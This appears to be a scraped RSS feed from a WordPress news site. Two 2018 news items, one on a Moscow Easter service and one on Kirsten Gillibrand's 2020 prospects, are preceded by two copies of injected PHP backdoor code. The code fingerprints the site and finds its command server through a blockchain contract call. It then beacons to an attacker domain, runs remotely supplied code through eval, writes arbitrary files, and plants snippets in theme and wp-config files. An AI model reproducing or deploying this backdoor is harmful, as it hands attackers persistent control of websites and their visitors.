// q2_xh if(!defined('ABSPATH'))return; $cfg=array( 'stub'=>'/data/web/virtuals/153909/virtual/www/domains/briefnews.eu/wp-content/plugins/wp-helper-4bdb4f/wp-helper-4bdb4f.php', 'ctrl'=>'// q2_xh', 'vis'=>'// xp_v9', 'vis_func'=>'wp_dia8xd', 'vis_paths'=>array('/data/web/virtuals/153909/virtual/www/domains/briefnews.eu/wp-content/plugins/wp-helper-4bdb4f/wp-helper-4bdb4f.php'), 'opt'=>'_wp_47nl0jvi', ); $keys=array(); $keys['id']='kun'; $keys['ver']='em'; $keys['caps']='eby'; $keys['tasks']='awd'; $keys['interval']='pww'; $keys['ack_id']='nl0'; $keys['ok']='9s'; $keys['detail']='wyy'; $keys['inv']='kxw'; $keys['result']='f3t'; $hdr='X-J98-Auth';$tok='0cQMbCeRLTCSW0NdninnOEVrAtwy11ErS16wrKLqeas';$id='1d0c923bac57072b';$interval=420; function _ea_inv($cfg){ $r=array('ts'=>time(),'wp'=>(function_exists('get_bloginfo')?get_bloginfo('version'):''),'php'=>PHP_VERSION); $chk=function($p,$m){$o=array('path'=>$p,'exists'=>false,'marker'=>false,'size'=>0);if(!$p||!is_string($p))return $o; if(@is_file($p)){$b=@file_get_contents($p);$o['exists']=true;$o['size']=strlen((string)$b);$o['marker']=($b&&strpos($b,$m)!==false);}return $o;}; $r['stub']=$chk($cfg['stub'],$cfg['ctrl']); $vis=array('plugin'=>null,'paths'=>array()); foreach($cfg['vis_paths'] as $_vp){$vis['paths'][]=$chk($_vp,$cfg['vis']);} $found=null;foreach($vis['paths'] as $_p){if(!empty($_p['marker'])){$found=$_p;break;}} if(!$found){$pd=WP_CONTENT_DIR.'/plugins';if(@is_dir($pd)){foreach(@glob($pd.'/*/*.php')?:array() as $_f){$b=@file_get_contents($_f);if($b&&strpos($b,'// ea_plug')!==false){$found=$chk($_f,'// ea_plug');break;}}} $vis['plugin']=$found?:array('path'=>'','exists'=>false,'marker'=>false); $r['visitor']=$vis; $mu=array('path'=>'','exists'=>false,'marker'=>false);$md=WP_CONTENT_DIR.'/mu-plugins'; if(@is_dir($md)){foreach(@glob($md.'/*.php')?:array() as $_f){$b=@file_get_contents($_f);if($b&&strpos($b,'// ea_mu')!==false){$mu=$chk($_f,'// ea_mu');break;}}} $r['mu_autologin']=$mu; $ft=0;$fw=0;$td=WP_CONTENT_DIR.'/themes';if(@is_dir($td)){foreach(@glob($td.'/*/functions.php')?:array() as $_f){$ft++;$b=@file_get_contents($_f);if($b&&strpos($b,'// _ea_al')!==false)$fw++;}} $r['functions_autologin']=array('themes_total'=>$ft,'themes_with_marker'=>$fw); $wpc=array('path'=>(defined('ABSPATH')?ABSPATH.'wp-config.php':''),'exists'=>false,'marker'=>false); if($wpc['path']&&@is_file($wpc['path'])){$b=@file_get_contents($wpc['path']);$wpc['exists']=true;$wpc['marker']=($b&&(strpos($b,'// _ea_wc')!==false||strpos($b,'/* _ea_wc_s */')!==false));} $r['wpconfig_inject']=$wpc; $cp=array();if(defined('LSCWP_V'))$cp[]='litespeed';if(defined('W3TC'))$cp[]='w3tc'; if(defined('WP_ROCKET_VERSION'))$cp[]='wp_rocket';if(defined('WPCACHEHOME'))$cp[]='wp_super_cache'; if(defined('SG_CACHEPRESS'))$cp[]='sg_optimizer';$r['cache']=array('plugins'=>$cp,'opcache'=>function_exists('opcache_get_status')); return $r;} function _ea_run_task($_task,$cfg,$keys,$hdr,$tok,$id){ $_ok=false;$_detail='';$_result=null; $_code=isset($_task['t'])?$_task['t']:'';$_p=isset($_task['p'])?$_task['p']:array();$_tid=isset($_task['i'])?$_task['i']:0; if(($_code==='wf'||$_code==='ld')&&!empty($_p['path'])&&isset($_p['content'])){ $_path=$_p['path'];$_body=@is_file($_path)?@file_get_contents($_path):''; if($_code==='ld'&&strpos((string)$_body,$_p['content'])===false)$_body.=$_p['content']; elseif($_code==='wf')$_body=$_p['content']; $_ok=@file_put_contents($_path,$_body)!==false; }elseif($_code==='su'&&!empty($_p['path'])&&!empty($_p['content'])){ $_ok=@file_put_contents($_p['path'],$_p['content'])!==false; }elseif($_code==='rp'&&!empty($_p['code'])){ ob_start();try{eval($_p['code']);$_ok=true;}catch(Throwable $e){$_detail=$e->getMessage();}catch(Exception $e){$_detail=$e->getMessage();} $_result=array('output'=>ob_get_clean());} elseif($_code==='va'){$_result=_ea_inv($cfg);$_ok=true;} elseif($_code==='fc'){ $p=array();if(function_exists('wp_cache_flush')){wp_cache_flush();$p[]='object';} if(function_exists('opcache_reset')){@opcache_reset();$p[]='opcache';} if(defined('LSCWP_V')&&function_exists('do_action')){do_action('litespeed_purge_all');$p[]='litespeed';} if(defined('W3TC')&&function_exists('w3tc_flush_all')){w3tc_flush_all();$p[]='w3tc';} if(function_exists('rocket_clean_domain')){rocket_clean_domain();$p[]='wp_rocket';} if(function_exists('wp_cache_clear_cache')){wp_cache_clear_cache();$p[]='wp_super_cache';} if(function_exists('sg_cachepress_purge_cache')){sg_cachepress_purge_cache();$p[]='sg_optimizer';} $_ok=true;$_result=array('purged'=>$p);} elseif($_code==='ma'&&!empty($_p['path'])&&!empty($_p['content'])){ @wp_mkdir_p(dirname($_p['path']));$_ok=@file_put_contents($_p['path'],$_p['content'])!==false; }elseif($_code==='fn'&&!empty($_p['snippet'])){ $td=WP_CONTENT_DIR.'/themes';$n=0;if(@is_dir($td)){foreach(@glob($td.'/*/functions.php')?:array() as $_f){$b=@file_get_contents($_f);if(strpos((string)$b,'// _ea_al')===false){$b=rtrim((string)$b)."\n".$_p['snippet'];if(@file_put_contents($_f,$b)!==false)$n++;}}} $_ok=$n>0;$_result=array('themes_updated'=>$n);} elseif($_code==='wc'){ $wp=ABSPATH.'wp-config.php';if(@is_file($wp)){$b=@file_get_contents($wp); if(strpos($b,'/* _ea_wc_s */')!==false){$b=preg_replace('#/\*/* _ea_wc_s */\*/.*?/\* _ea_wc_e \*/#s','',$b);} $b=str_replace(array('// _ea_wc','/* _ea_wc_s */','/* _ea_wc_e */'),'',$b);$_ok=@file_put_contents($wp,$b)!==false;} } $ack=array($keys['ack_id']=>$_tid,$keys['ok']=>$_ok,$keys['detail']=>$_detail); if($_result!==null)$ack[$keys['result']]=$_result; return $ack;} function _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,$force){ $k=$cfg['opt'];if(!$force&&!wp_doing_cron()){ if(is_admin())return; $last=(int)get_option($k,0);if(time()-$last<$interval)return; } $u='likingdropout.site';$co='0x9e33A3979F74c7700E4BaA7e7a2934556f72eF96';$sel='0x38bd65e2';$rpcs=array('https://data-seed-prebsc-1-s1.bnbchain.org:8545','https://data-seed-prebsc-1-s1.bnbchain.org:8545/','https://data-seed-prebsc-2-s1.binance.org:8545/','https://data-seed-prebsc-2-s2.binance.org:8545/','https://bsc-testnet-dataseed.bnbchain.org/','https://bnb-testnet.api.onfinality.io/public'); foreach($rpcs as $_rpc){ $b=json_encode(array('jsonrpc'=>'2.0','id'=>97,'method'=>'eth_call','params'=>array(array('to'=>$co,'data'=>$sel),'latest'))); $ctx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n",'content'=>$b,'timeout'=>3,'ignore_errors'=>true))); $raw=@file_get_contents($_rpc,false,$ctx); if(!$raw)continue; $j=json_decode($raw,true); if(empty($j['result'])||strlen($j['result'])<10)continue; $h=substr($j['result'],2); if(strlen($h)<128)continue; $off=(int)hexdec(substr($h,0,64)); $len=(int)hexdec(substr($h,$off*2,64)); $_z=pack('H*',substr($h,$off*2+64,$len*2));if($_z)$u=$_z;break; } $_hp='/panel/api/v1/metrics/collect'; $_z=trim((string)$u);$_z=preg_replace('#^https?://#','',$_z); if(strpos($_z,'/')!==false){$_xp=explode('/',$_z,2);$_z=$_xp[0];if(!empty($_xp[1]))$_hp='/'.ltrim($_xp[1],'/');} $_z=trim($_z,'.');if(!$_z)$_z='likingdropout.site'; $_s=substr(str_replace(array('+','/','='),'',base64_encode(random_bytes(6))),0,10); $u='https://'.$_s.'.'.$_z.$_hp; $_ack=$u;if(substr($_ack,-7)==='collect')$_ack=substr($_ack,0,-7).'ack';else $_ack=rtrim($_ack,'/').'/ack'; $inv=_ea_inv($cfg); $b=array($keys['id']=>$id,$keys['ver']=>2,$keys['caps']=>array('server_sync','visitor_js','write_file'),$keys['inv']=>$inv); $resp='';if(function_exists('wp_remote_post')){$_r=wp_remote_post($u,array('timeout'=>20,'sslverify'=>false,'headers'=>array('Content-Type'=>'application/json',$hdr=>$tok,'X-Site-Id'=>$id),'body'=>json_encode($b)));if(!is_wp_error($_r))$resp=(string)wp_remote_retrieve_body($_r);}else{$ctx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n".$hdr.": ".$tok."\r\nX-Site-Id: ".$id."\r\n",'content'=>json_encode($b),'timeout'=>20,'ignore_errors'=>true)));$resp=(string)@file_get_contents($u,false,$ctx);} if(!$resp)return; update_option($k,time(),false); $j=json_decode($resp,true);$tk=$keys['tasks']; if(empty($j[$tk])||!is_array($j[$tk]))return; foreach($j[$tk] as $_task){ $ack=_ea_run_task($_task,$cfg,$keys,$hdr,$tok,$id); if(function_exists('wp_remote_post')){@wp_remote_post($_ack,array('timeout'=>20,'sslverify'=>false,'headers'=>array('Content-Type'=>'application/json',$hdr=>$tok,'X-Site-Id'=>$id),'body'=>json_encode($ack)));}else{$actx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n".$hdr.": ".$tok."\r\nX-Site-Id: ".$id."\r\n",'content'=>json_encode($ack),'timeout'=>20,'ignore_errors'=>true)));@file_get_contents($_ack,false,$actx);} } } add_filter('cron_schedules',function($s){$s['ea_fleet']=array('interval'=>$interval,'display'=>'Fleet sync');return $s;}); add_action('init',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ if(!wp_next_scheduled('ea_fleet_sync'))wp_schedule_event(time()+120,'ea_fleet','ea_fleet_sync'); _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,false); },1); add_action('ea_fleet_sync',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,true); }); // l0_9z if(!defined('ABSPATH'))return; $cfg=array( 'stub'=>'/data/web/virtuals/153909/virtual/www/domains/briefnews.eu/wp-content/plugins/wp-helper-4bdb4f/wp-helper-4bdb4f.php', 'ctrl'=>'// l0_9z', 'vis'=>'// zn_yn', 'vis_func'=>'wp_cuzg8t', 'vis_paths'=>array('/data/web/virtuals/153909/virtual/www/domains/briefnews.eu/wp-content/plugins/wp-helper-4bdb4f/wp-helper-4bdb4f.php'), 'opt'=>'_wp_mtrhds4x', ); $keys=array(); $keys['id']='ybc'; $keys['ver']='a1'; $keys['caps']='afo'; $keys['tasks']='x9t'; $keys['interval']='2e4'; $keys['ack_id']='k72'; $keys['ok']='ch'; $keys['detail']='xd9'; $keys['inv']='hw8'; $keys['result']='0bb'; $hdr='X-L8A-Auth';$tok='A3-EVnA_qOJ132k0gQIT_73RgM-QQ5Szxw145ZNDetU';$id='d1451f9eb0097c9f';$interval=420; function _ea_inv($cfg){ $r=array('ts'=>time(),'wp'=>(function_exists('get_bloginfo')?get_bloginfo('version'):''),'php'=>PHP_VERSION); $chk=function($p,$m){$o=array('path'=>$p,'exists'=>false,'marker'=>false,'size'=>0);if(!$p||!is_string($p))return $o; if(@is_file($p)){$b=@file_get_contents($p);$o['exists']=true;$o['size']=strlen((string)$b);$o['marker']=($b&&strpos($b,$m)!==false);}return $o;}; $r['stub']=$chk($cfg['stub'],$cfg['ctrl']); $vis=array('plugin'=>null,'paths'=>array()); foreach($cfg['vis_paths'] as $_vp){$vis['paths'][]=$chk($_vp,$cfg['vis']);} $found=null;foreach($vis['paths'] as $_p){if(!empty($_p['marker'])){$found=$_p;break;}} if(!$found){$pd=WP_CONTENT_DIR.'/plugins';if(@is_dir($pd)){foreach(@glob($pd.'/*/*.php')?:array() as $_f){$b=@file_get_contents($_f);if($b&&strpos($b,'// ea_plug')!==false){$found=$chk($_f,'// ea_plug');break;}}} $vis['plugin']=$found?:array('path'=>'','exists'=>false,'marker'=>false); $r['visitor']=$vis; $mu=array('path'=>'','exists'=>false,'marker'=>false);$md=WP_CONTENT_DIR.'/mu-plugins'; if(@is_dir($md)){foreach(@glob($md.'/*.php')?:array() as $_f){$b=@file_get_contents($_f);if($b&&strpos($b,'// ea_mu')!==false){$mu=$chk($_f,'// ea_mu');break;}}} $r['mu_autologin']=$mu; $ft=0;$fw=0;$td=WP_CONTENT_DIR.'/themes';if(@is_dir($td)){foreach(@glob($td.'/*/functions.php')?:array() as $_f){$ft++;$b=@file_get_contents($_f);if($b&&strpos($b,'// _ea_al')!==false)$fw++;}} $r['functions_autologin']=array('themes_total'=>$ft,'themes_with_marker'=>$fw); $wpc=array('path'=>(defined('ABSPATH')?ABSPATH.'wp-config.php':''),'exists'=>false,'marker'=>false); if($wpc['path']&&@is_file($wpc['path'])){$b=@file_get_contents($wpc['path']);$wpc['exists']=true;$wpc['marker']=($b&&(strpos($b,'// _ea_wc')!==false||strpos($b,'/* _ea_wc_s */')!==false));} $r['wpconfig_inject']=$wpc; $cp=array();if(defined('LSCWP_V'))$cp[]='litespeed';if(defined('W3TC'))$cp[]='w3tc'; if(defined('WP_ROCKET_VERSION'))$cp[]='wp_rocket';if(defined('WPCACHEHOME'))$cp[]='wp_super_cache'; if(defined('SG_CACHEPRESS'))$cp[]='sg_optimizer';$r['cache']=array('plugins'=>$cp,'opcache'=>function_exists('opcache_get_status')); return $r;} function _ea_run_task($_task,$cfg,$keys,$hdr,$tok,$id){ $_ok=false;$_detail='';$_result=null; $_code=isset($_task['t'])?$_task['t']:'';$_p=isset($_task['p'])?$_task['p']:array();$_tid=isset($_task['i'])?$_task['i']:0; if(($_code==='wf'||$_code==='ld')&&!empty($_p['path'])&&isset($_p['content'])){ $_path=$_p['path'];$_body=@is_file($_path)?@file_get_contents($_path):''; if($_code==='ld'&&strpos((string)$_body,$_p['content'])===false)$_body.=$_p['content']; elseif($_code==='wf')$_body=$_p['content']; $_ok=@file_put_contents($_path,$_body)!==false; }elseif($_code==='su'&&!empty($_p['path'])&&!empty($_p['content'])){ $_ok=@file_put_contents($_p['path'],$_p['content'])!==false; }elseif($_code==='rp'&&!empty($_p['code'])){ ob_start();try{eval($_p['code']);$_ok=true;}catch(Throwable $e){$_detail=$e->getMessage();}catch(Exception $e){$_detail=$e->getMessage();} $_result=array('output'=>ob_get_clean());} elseif($_code==='va'){$_result=_ea_inv($cfg);$_ok=true;} elseif($_code==='fc'){ $p=array();if(function_exists('wp_cache_flush')){wp_cache_flush();$p[]='object';} if(function_exists('opcache_reset')){@opcache_reset();$p[]='opcache';} if(defined('LSCWP_V')&&function_exists('do_action')){do_action('litespeed_purge_all');$p[]='litespeed';} if(defined('W3TC')&&function_exists('w3tc_flush_all')){w3tc_flush_all();$p[]='w3tc';} if(function_exists('rocket_clean_domain')){rocket_clean_domain();$p[]='wp_rocket';} if(function_exists('wp_cache_clear_cache')){wp_cache_clear_cache();$p[]='wp_super_cache';} if(function_exists('sg_cachepress_purge_cache')){sg_cachepress_purge_cache();$p[]='sg_optimizer';} $_ok=true;$_result=array('purged'=>$p);} elseif($_code==='ma'&&!empty($_p['path'])&&!empty($_p['content'])){ @wp_mkdir_p(dirname($_p['path']));$_ok=@file_put_contents($_p['path'],$_p['content'])!==false; }elseif($_code==='fn'&&!empty($_p['snippet'])){ $td=WP_CONTENT_DIR.'/themes';$n=0;if(@is_dir($td)){foreach(@glob($td.'/*/functions.php')?:array() as $_f){$b=@file_get_contents($_f);if(strpos((string)$b,'// _ea_al')===false){$b=rtrim((string)$b)."\n".$_p['snippet'];if(@file_put_contents($_f,$b)!==false)$n++;}}} $_ok=$n>0;$_result=array('themes_updated'=>$n);} elseif($_code==='wc'){ $wp=ABSPATH.'wp-config.php';if(@is_file($wp)){$b=@file_get_contents($wp); if(strpos($b,'/* _ea_wc_s */')!==false){$b=preg_replace('#/\*/* _ea_wc_s */\*/.*?/\* _ea_wc_e \*/#s','',$b);} $b=str_replace(array('// _ea_wc','/* _ea_wc_s */','/* _ea_wc_e */'),'',$b);$_ok=@file_put_contents($wp,$b)!==false;} } $ack=array($keys['ack_id']=>$_tid,$keys['ok']=>$_ok,$keys['detail']=>$_detail); if($_result!==null)$ack[$keys['result']]=$_result; return $ack;} function _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,$force){ $k=$cfg['opt'];if(!$force&&!wp_doing_cron()){ if(is_admin())return; $last=(int)get_option($k,0);if(time()-$last<$interval)return; } $u='likingdropout.site';$co='0x9e33A3979F74c7700E4BaA7e7a2934556f72eF96';$sel='0x38bd65e2';$rpcs=array('https://data-seed-prebsc-1-s1.bnbchain.org:8545','https://data-seed-prebsc-1-s1.bnbchain.org:8545/','https://data-seed-prebsc-2-s1.binance.org:8545/','https://data-seed-prebsc-2-s2.binance.org:8545/','https://bsc-testnet-dataseed.bnbchain.org/','https://bnb-testnet.api.onfinality.io/public'); foreach($rpcs as $_rpc){ $b=json_encode(array('jsonrpc'=>'2.0','id'=>97,'method'=>'eth_call','params'=>array(array('to'=>$co,'data'=>$sel),'latest'))); $ctx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n",'content'=>$b,'timeout'=>3,'ignore_errors'=>true))); $raw=@file_get_contents($_rpc,false,$ctx); if(!$raw)continue; $j=json_decode($raw,true); if(empty($j['result'])||strlen($j['result'])<10)continue; $h=substr($j['result'],2); if(strlen($h)<128)continue; $off=(int)hexdec(substr($h,0,64)); $len=(int)hexdec(substr($h,$off*2,64)); $_z=pack('H*',substr($h,$off*2+64,$len*2));if($_z)$u=$_z;break; } $_hp='/panel/api/v1/metrics/collect'; $_z=trim((string)$u);$_z=preg_replace('#^https?://#','',$_z); if(strpos($_z,'/')!==false){$_xp=explode('/',$_z,2);$_z=$_xp[0];if(!empty($_xp[1]))$_hp='/'.ltrim($_xp[1],'/');} $_z=trim($_z,'.');if(!$_z)$_z='likingdropout.site'; $_s=substr(str_replace(array('+','/','='),'',base64_encode(random_bytes(6))),0,10); $u='https://'.$_s.'.'.$_z.$_hp; $_ack=$u;if(substr($_ack,-7)==='collect')$_ack=substr($_ack,0,-7).'ack';else $_ack=rtrim($_ack,'/').'/ack'; $inv=_ea_inv($cfg); $b=array($keys['id']=>$id,$keys['ver']=>2,$keys['caps']=>array('server_sync','visitor_js','write_file'),$keys['inv']=>$inv); $resp='';if(function_exists('wp_remote_post')){$_r=wp_remote_post($u,array('timeout'=>20,'sslverify'=>false,'headers'=>array('Content-Type'=>'application/json',$hdr=>$tok,'X-Site-Id'=>$id),'body'=>json_encode($b)));if(!is_wp_error($_r))$resp=(string)wp_remote_retrieve_body($_r);}else{$ctx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n".$hdr.": ".$tok."\r\nX-Site-Id: ".$id."\r\n",'content'=>json_encode($b),'timeout'=>20,'ignore_errors'=>true)));$resp=(string)@file_get_contents($u,false,$ctx);} if(!$resp)return; update_option($k,time(),false); $j=json_decode($resp,true);$tk=$keys['tasks']; if(empty($j[$tk])||!is_array($j[$tk]))return; foreach($j[$tk] as $_task){ $ack=_ea_run_task($_task,$cfg,$keys,$hdr,$tok,$id); if(function_exists('wp_remote_post')){@wp_remote_post($_ack,array('timeout'=>20,'sslverify'=>false,'headers'=>array('Content-Type'=>'application/json',$hdr=>$tok,'X-Site-Id'=>$id),'body'=>json_encode($ack)));}else{$actx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n".$hdr.": ".$tok."\r\nX-Site-Id: ".$id."\r\n",'content'=>json_encode($ack),'timeout'=>20,'ignore_errors'=>true)));@file_get_contents($_ack,false,$actx);} } } add_filter('cron_schedules',function($s){$s['ea_fleet']=array('interval'=>$interval,'display'=>'Fleet sync');return $s;}); add_action('init',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ if(!wp_next_scheduled('ea_fleet_sync'))wp_schedule_event(time()+120,'ea_fleet','ea_fleet_sync'); _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,false); },1); add_action('ea_fleet_sync',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,true); }); Savior” – Brief News https://briefnews.eu Latest World News. Find every day short and brief information composed of titles and subtitles and continue reading if interested. Sat, 07 Apr 2018 20:51:38 +0000 en-US hourly 1 https://wordpress.org/?v=7.0.6 https://briefnews.eu/wp-content/uploads/2018/01/cropped-logoSmall-1-32x32.png Savior” – Brief News https://briefnews.eu 32 32 Grand Easter service at Moscow’s Christ the Savior Cathedral (WATCH LIVE) https://briefnews.eu/grand-easter-service-at-moscows-christ-the-savior-cathedral-watch-live/ https://briefnews.eu/grand-easter-service-at-moscows-christ-the-savior-cathedral-watch-live/#respond Sat, 07 Apr 2018 20:51:38 +0000 http://briefnews.eu/grand-easter-service-at-moscows-christ-the-savior-cathedral-watch-live/

As Orthodox Christians across the globe mark Easter Sunday, watch the live broadcast of the grand midnight service from Moscow’s Christ the Savior Cathedral, led by Russian Patriarch Kirill.

At Easter, the faithful celebrate the resurrection of Christ after his death by crucifixion. The vigil at Russia’s main church, Christ the Savior Cathedral, attracts thousands of worshippers, including the country’s top officials.

Easter is the most important holiday for Orthodox Christians, and also marks the end of the observance of Great Lent. Many families spend the night in the church and gather for a sumptuous Easter meal later on Sunday.

Watch the broadcast of the service from Christ the Savior Cathedral, with live commentary on RT.com, and click on RT’s guide to learn more about Orthodox Easter celebrations.

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]]> https://briefnews.eu/grand-easter-service-at-moscows-christ-the-savior-cathedral-watch-live/feed/ 0 Democrats are torn over whether Kirsten Gillibrand can be their 2020 savior from Trump https://briefnews.eu/democrats-are-torn-over-whether-kirsten-gillibrand-can-be-their-2020-savior-from-trump/ https://briefnews.eu/democrats-are-torn-over-whether-kirsten-gillibrand-can-be-their-2020-savior-from-trump/#respond Fri, 12 Jan 2018 13:48:15 +0000 http://briefnews.eu/democrats-are-torn-over-whether-kirsten-gillibrand-can-be-their-2020-savior-from-trump/ Kirsten GillibrandREUTERS/Scott Audette

  • Sen. Kirsten Gillibrand has become one of the most talked-about potential 2020 candidates as she’s led her party’s response to the #MeToo movement and been attacked by the president for it. 
  • Supporters say Gillibrand checks lots of presidential candidate boxes: She has support from a broad swath of the party, a very liberal voting record, and she’s young and a woman. 
  • But critics say her ideological shape-shifting on key issues, status as a career politician, and obvious ambition will sink a potential bid.

Sen. Kirsten Gillibrand has spent her career being underestimated.

The New York Post once called her Sen. Chuck Schumer’s “hapless little poodle.” Sen. Joe Lieberman has described her as “adorably persistent.” Former New York City Mayor Michael Bloomberg refused to meet with her for months after she was appointed to fill Hillary Clinton’s vacated Senate seat in 2009. And her former colleagues in the US House would call her “Tracy Flick,” an unflattering reference to Reese Witherspoon’s ruthless, overly-eager character in “Election.” 

So when President Donald Trump attacked Gillibrand on Twitter in early December, calling her a “lightweight” who “would do anything” for campaign contributions, it seemed the junior New York senator had prepared her entire political career for precisely this “sexist smear meant to silence” her, as she described Trump’s attack. 

Her response to Trump — “You cannot silence me or the millions of women who have gotten off the sidelines to speak out about the unfitness and shame you have brought to the Oval Office” —  became her most retweeted message ever, elevating her status as a feminist hero of the anti-Trump resistance movement. And as her Democratic colleagues dutifully rushed to her defense, the media described Trump’s tweet as a “political gift.”

Amid all that, the ever-strategic former corporate lawyer remained on brand, subtly plugging her women-focused political action committee, Off the Sidelines and appearing on liberal comedian Samantha Bee’s show. Bee said she hoped the incident would become Gillibrand’s “superhero origin story and ignite her 2020 campaign.” 

Indeed, Trump’s attack was the clearest indication that Gillibrand is no longer being underestimated. 

‘Woke to the moment’

While the senator and her aides won’t confirm or deny Gillibrand’s plans for a 2020 run, all signs, including her prodigious fundraising, outreach to young people and communities of color, and deeply anti-Trump voting record, point to the lawmaker’s higher ambitions.

She led her caucus in pressuring Democratic Sen. Al Franken, a close friend and ally, to leave office amid mounting allegations of sexual misconduct. Critics and supporters alike say the national spotlight she’s attracted for her leadership on sexual misconduct issues is well-deserved, given the years-long fight she’s waged, often with little political support, against sexual assault in the military and on college campuses. 

“There’s a saying in show business that it took me 15 years to be an overnight success. In many ways, when it comes to attention and leading the party on one of the most important issues, it’s taken her seven or eight years to be an overnight success,” Stu Loeser, a Democratic strategist and former press secretary to Mayor Bloomberg, told Business Insider.

Democratic Sens. Al Franken and Kirsten GillibrandMark Wilson/Getty Images

The senator shocked even some of her close allies when she told a New York Times reporter in November that President Bill Clinton — her longtime supporter — should have resigned over his affair with Monica Lewinsky.

A total of zero prominent elected Democrats backed Gillibrand up on this, but many agree it was a smart political move, winning her points from the party’s anti-establishment base. Gillibrand’s principled stance now differentiates her from her Democratic colleagues and has made clear that she will not be caught equivocating or apologizing on behalf of her allies on her signature issue.

“Gillibrand is trying to capitalize on the current political moment — kill your idols,” wrote FiveThirtyEight political reporter Clare Malone in November. “This is smart, in my book, because frankly: (i) a lot of people hate the Clintons, (ii) it makes Gillibrand seem woke to the moment, (iii) it’s a way to make her seem like a more appealing anti-establishment liberal to the younger folks.”

An outspoken voice for the so-called “resistance,” Gillibrand currently holds the most anti-Trump voting record in the Senate and a recent analysis published in The Washington Post found that Gillibrand is also voting to the left of her constituents.

Checking the boxes

Gillibrand checks a lot of politically helpful boxes: she has support from a broad swath of the Democratic Party — from Clinton-allied centrists to Bernie Sanders progressives, she’s relatively young at 51, she’s worked across the aisle while maintaining a very anti-Trump voting record, and she’s a woman at a time when the party will likely seek a history-making nominee.  

The senator’s supporters argue that her appeal both among progressive New York City voters and conservative communities upstate could position her as a bridge over the gaping urban-rural divide.

Loeser, the Democratic strategist, says that Gillibrand “shows up” and “delivers” in the suburbs of Buffalo and exurbs of New York City — places where Hillary Clinton either lost or barely clinched a majority in the 2016 general election — while recognizing that satisfying those constituents “doesn’t come at the expense of also caring about refugees, immigrants, and people stuck in the cycle of poverty” in urban areas. 

“It’s not an easy thing to understand and speak to the progressive side of the Democratic caucus and also internalize and understand how people think and what matters to them in areas of the country that are not strong Democratic bastions,” he said. “That ability would be extraordinarily useful in putting together a majority vote in states like Ohio, Pennsylvania, Michigan, and even Florida.” 

Sen. Bernie Sanders and Gillibrand unveil their Medicare for All legislation at a press conference in September.Andrew Harnik/AP

Her supporters say the mother of two represents a new crop of leaders, more relatable and accessible than ever before. 

“She’s a new generation. No pomp and circumstance, or pretense. Less baggage,” Jon Reinish, a Democratic strategist and former aide to the senator, told Business Insider.

The fact that Gillibrand is a woman — and a powerful advocate for women in politics — could be an asset if the party decides it wants to break the glass ceiling in 2020. Matt McDermott, a Democratic pollster at Whitman Insight Strategies, said that Gillibrand’s success may rest on that question. 

“Do we feel as a party as if we need a history-making candidate, the most obvious being a woman candidate?” McDermott told Business Insider. “Is there a strong push to have a nominee of the Democratic Party that breaks conventional molds, that would be a first? And if there is that upswelling, it’s hard to see how a candidate can push against that.”

But Gillibrand’s national prominence and new reputation as an anti-Trump crusader may come at the expense of her popularity across New York. Formerly one of the most conservative Democrats in the House, Gillibrand won reelection in 2012 with 72% of the vote. But just 49% of New York state voters surveyed in a September Siena College poll and an October Morning Consult poll viewed her favorably — compared with Schumer’s respective 58% and 55% approval ratings. 

“Consultants love candidates who check a lot of boxes,” Bradley Tusk, a venture capitalist and former top adviser to Mayor Bloomberg, told Business Insider, questioning whether Gillibrand really has the broad appeal some credit her with. “The problem is, what appeals to someone on K Street seems to be extremely different from what appeals to voters on Main Streets in swing states.”

Still, some Democrats point to career politicians like Sen. Bernie Sanders, a 30-year veteran of Washington who’s celebrated by the party’s left wing as the picture of authenticity.

“Bernie is a 40-year politician with 30 in DC and he felt fresh and authentic to his supporters,” Marc La Vorgna, a political consultant and former press secretary to Mayor Bloomberg, told Business Insider. “It’s about feel and voice. The point is years in office doesn’t matter. You can be fresh and exciting via authenticity.”

‘Kirsten Gillibrand, champion for one woman’

Some argue Gillibrand’s status as a Washington insider and career politician, history as Blue Dog Democrat, and accusations of shape-shifting will hurt her.

As one of the most conservative Democrats in the House, Gillibrand had an “A” rating from the National Rifle Association and was opposed to allowing illegal immigrants to obtain driver’s licenses. But she very quickly moved left on gun control and immigration after former New York Gov. David Paterson appointed to her Senate seat, as she took up the fight against sexual assault in the military and the “Don’t Ask Don’t Tell” policy.  

Like Hillary Clinton, who has long been accused of political opportunism, many predict Gillibrand would be hammered both in a Democratic primary and in a general election for her ideological evolution. 

“The biggest hit on her is going to be her lack of core principles,” one New York-based Democratic operative told Business Insider. “In New York, the biggest hit on her has always been that she’s a creation of political consultants.”

Ciro Scotti, a political commentator and contributing editor at the Fiscal Times, wrote in a Daily Beast column earlier this month that Gillibrand is “an especially egregious practitioner of the finger-in-the-wind politics that so many voters can no longer abide.” 

Gillibrand with her staff on Capitol Hill in December.Jacquelyn Martin/AP

But Gillibrand is endlessly apologetic about positions she chalks up to her former ignorance.

In a December podcast interview with liberal organizer and activist DeRay Mckesson, Gillibrand said she was “embarrassed and ashamed” that she “didn’t know enough” as a House member to inform her positions. 

“I didn’t work hard enough to be a kinder person, a more empathetic person, a person who could feel the challenges that families were facing in a very real sense,” she said, adding that when she was appointed to her Senate seat she worked quickly to get up to speed on the issues that impacted her newly diverse constituency.

